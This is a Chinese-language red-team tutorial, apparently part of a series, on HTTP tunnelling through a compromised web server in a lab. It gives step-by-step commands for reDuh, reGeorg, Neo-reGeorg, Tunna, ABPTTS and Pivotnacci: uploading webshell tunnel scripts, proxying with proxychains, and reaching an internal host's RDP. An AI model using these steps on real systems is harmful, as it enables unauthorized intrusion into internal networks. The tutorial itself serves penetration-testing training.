前文推荐:
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
一. 利用HTTP协议进行隧道穿透
WEB tunnel即WEB隧道,可以进行局域网穿透控制,通过web tunnel可以桥接到局域网内的所有网络设备,让远程访问此设备就像在局域网内访问此设备一样。Web隧道允许用户通过HTTP连接发送非HTTP流量,这样就可以在HTTP上携带其他协议数据。Web tunnel适用于当目标开启防火墙时,此时入站和出站连接都受到限制,除了WEB服务的端口(80或443)。Webshell可以用于连接目标主机上的服务,这是目标主机上的本地端口连接,一般都会允许从服务端口读取数据,并将其封装到HTTP上,作为HTTP响应发送到本地代理,整个外部通讯都是通过HTTP协议完成的。
假设在内网渗透中发现主机,经测试发现存在网站,可以通过此站点的HTTP协议去搭建隧道,通过漏洞获取到webshell权限,当拥有webshell权限时就可以利用HTTP协议的webshell tunnel进行搭建,下面用一些案例来演示如何搭建web tunnel,具体实验环境如表1-1所示,实验拓扑如图1-1所示。
表1-1 HTTP协议实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25,192.168.52.11 |
靶机 | 192.168.52.12 |
1.Reduh进行端口转发
Reduh是一款基于WEB服务的端口转发工具,它支持asp、jsp、php脚本环境,由客户端进行连接,客户端需要配置JDK环境,使用前需要获取到目标服务器webshell权限,才可以上传reDuh服务端对应脚本文件,reDuh文件再将内网服务器的端口通过HTTP/HTTPS服务转发到本地,形成一个连通回路。
1)通过上传reDuh.php文件搭建WEB隧道,将靶机的RDP远程连接服务通过reDuh.php文件转发到攻击机。首先检测到目标主机是PHP环境,通过文件上传漏洞获取到webshell权限,之后上传reDuh.php文件到网站根目录下,此时在攻击机访问网站http://192.168.0.25/reDuh.php显示如图1-2 所示结果,即表示文件部署成功。
2)接下来,我们使用攻击机进入工具目录reDuhClient/dis文件夹下,执行java -jar reDuhClient.jar http://192.168.0.25/reDuh.php命令,对Web服务器进行连接,这里搭建隧道时,默认会使用1010端口。注意,如果隧道连接未成功,有可能是服务端php环境配置问题,我们对Web服务器的PHP扩展设置,对其php.ini文件中的extension=php_sockets.dll代码去掉注释即可,命令执行成功,如图1-3所示。
3)此时攻击机的1010端口会开启监听,我们可以利用nc工具连接本地1010端口,执行nc -nv 127.0.0.1 1010命令,即可对正向代理进行管理,执行后如图1-4所示。
4)这里使用[createTunnel]的方法将靶机的远程连接服务映射到攻击机8888端口,执行[createTunnel]8888:192.168.52.12:3389命令,即可将靶机的3389端口转发到攻击机的8888如图1-5所示。
5)这时靶机的3389端口的远程连接服务已经转发到本地的8888端口,可以尝试在攻击机中使用rdesktop命令连接本地8888端口,执行rdesktop 127.0.0.1:8888命令,发现可以远程连接,如图1-6所示。
2.ReGeorg进行隧道穿透
ReGeorg是一款利用http协议建立隧道进行数据传输的内网代理工具,依赖python2环境,是reduh的升级版,相对于reduh来说增加了很多特性,比如流量加密、响应码定制等。下载压缩包完成解压后,查看目录结构,可以看到支持3种脚本语言,如图1-7所示。按照web服务对应的脚本语言选择webshell文件上传,进行隧道穿透。
1)本次实验环境如图1-1 所示。假设Web服务器是PHP环境,可以使用tunnel.nosocket.php脚本文件,上传文件到Web服务器网站根目录下。成功上传则通过http访问网站此脚本文件,可以看到部署成功,如图1-8所示。
2)使用攻击机运行reGeorgSocksProxy.py文件, 执行python2 reGeorgSocksProxy.py -u http://192.168.0.25/tunnel.nosocket.php -p 8888命令,连接tunnel.nosocket.php文件,指定转发流量到攻击机的8888端口,出现如图1-9所示的界面则证明隧道穿透成功。
- 随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 8888参数来完成 proxychains 代理配置,如下图1-10所示。
- 当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,通过所建立的 socks协议隧道,直接远程连接到目标服务器,如图1-11 所示。
3.Neo-reGeorg加密隧道穿透
Neo-regeorg可以说是Regeorg的重构版,也是一款很实用的WEB隧道工具,在Regeorg的基础上提高隧道的连接安全性、可用性、传输内容保密性,以应对更多的网络环境场景,工具依赖python3环境,它的原理与regeorg相似。
1)本次实验环境如图1-1所示,Neo-Regeorg使用条件和Regeorg类似,这里也是通过webshell将tunnel.php文件上传Web服务器网站服务的根目录下,生成带有密码的服务器脚本文件。执行python neoreg.py generate -k test命令,-k是指定密码,运行后会在当前目录生成文件夹neoreg_servers,文件夹内会有各种环境下的脚本,如图1-12所示。
2)将生成的文件上传放置到Web服务器下,访问网站下该文件,如图1-13所示。
3)使用Kali攻击机执python neoreg.py -k test -u http://192.168.0.25/tunnel.php -p 8888命令,此时隧道搭建成功,如图1-14所示。
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 8888参数来完成proxychains代理配置,如图1-15所示。
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,通过所建立的socks协议隧道,直接远程连接到目标服务器,如图1-16所示。
4.Tunna进行隧道穿透
Tunna是一款基于Python语言所开发的隧道工具,它不仅可以用于通过 HTTP来包装和隧道化任何TCP通信,还可以用于绕过防火墙环境中的各种网络限制,其工具结构如图1-17所示。
1)本次实验环境同上,通过webshell管理权限上传conn.php到网站根目录下,就可以通过http协议访问conn.php文件连接受控服务器,然后在攻击机上执行python proxy.py -u http://192.168.0.25/conn.php -l 8888 -a 192.168.52.12 -r 80 –v命令,将靶机里的WEB服务的80端口映射到本地8888端口。-l参数是指监听本地端口,-r参数是指远程转发的端口,-a参数是指转发的地址,-v参数是指详细模式,执行成功如图1-18所示。
2)攻击机执行成功后,此时端口映射成功,接下来我们在浏览器访问本地8888端口,即可访问到内网靶机的WEB服务,如图1-19所示。
5.Abptts加密隧道穿透
Abptts工具是一款基于python 2开发的工具,支持asp、jsp脚本环境,可以利用http建立ssl加密的隧道,相对于regeorg更加稳定。但Abptts工具每次只能转发一个端口,在使用上有一定局限性。下面演示Abptts工具隧道穿透。
1)Abptts需要python 2环境,并且需要使用pip2安装依赖包pycryptodome和httplib2。在Kali攻击机上使用git命令把github上的abptts包拉取到本地,执行git clone https://github.com/nccgroup/ABPTTS.git命令之后安装,进入工具目录下使用abpttsfactory.py执行python2 abpttsfactory.py -o webshell命令会生成webshell文件夹,如图1-20所示。
2)由于abptts只能生成aspx和jsp脚本,因此本次跳板机使用的是asp lls环境。为了方便直接把abptts.asp文件放置到根目录,我们通过url访问。如图1-21所示。
3)在攻击机执行命令将靶机的3389端口转发到攻击机的5555端口上,执行python2 abpttsclient.py -c webshell/config.txt -u "http://192.168.0.25/abptts.aspx" -f 127.0.0.1:5555/192.168.52.12:3389命令,即可实现端口转发,如图1-22所示。
4)命令执行后,我们在攻击机执行rdesktop 127.0.0.1:5555命令,即可连接到靶机的3389端口,成功连接如图1-23所示,表示隧道搭建成功。
6. Pivotnacci加密隧道穿透
Pivotnacci这款工具一样是通过HTTP协议来搭建隧道的,它通过socks代理,支持socks4、socks5两种协议,并且能为隧道加密,也是一款不错的隧道工具。
1)下载完安装包解压后需要先初始化,使用攻击机在pivotnacci-master文件夹下执行 pip2 install -r requirements.txt命令来下载相关依赖库。然后使用python配置环境,执行python setup.py install命令会生成文件,如图1-24所示。
2)使用ls命令显示存在执行安装命令后产生的文件,如图1-25所示。
3)如果需要使用密码加密,可以在agents/agent.php文件中为AGENT_PASSWORD赋值,这里将密码设置为text,如图1-26所示。
4)设置完成后将agent.php放置在网站根目录下,在攻击机执行./pivotnacci http://192.168.0.25/agent.php -p 6666 --password text -v命令,其中-p 6666是指定转发端口,--password是指自定义密码,执行成功则如图1-27所示。
5)随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 6666参数来完成proxychains代理配置,如图1-28所示。
- 当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-29所示,通过所建立的socks协议隧道,可以直接远程连接到靶机。
二.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用HTTP协议进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!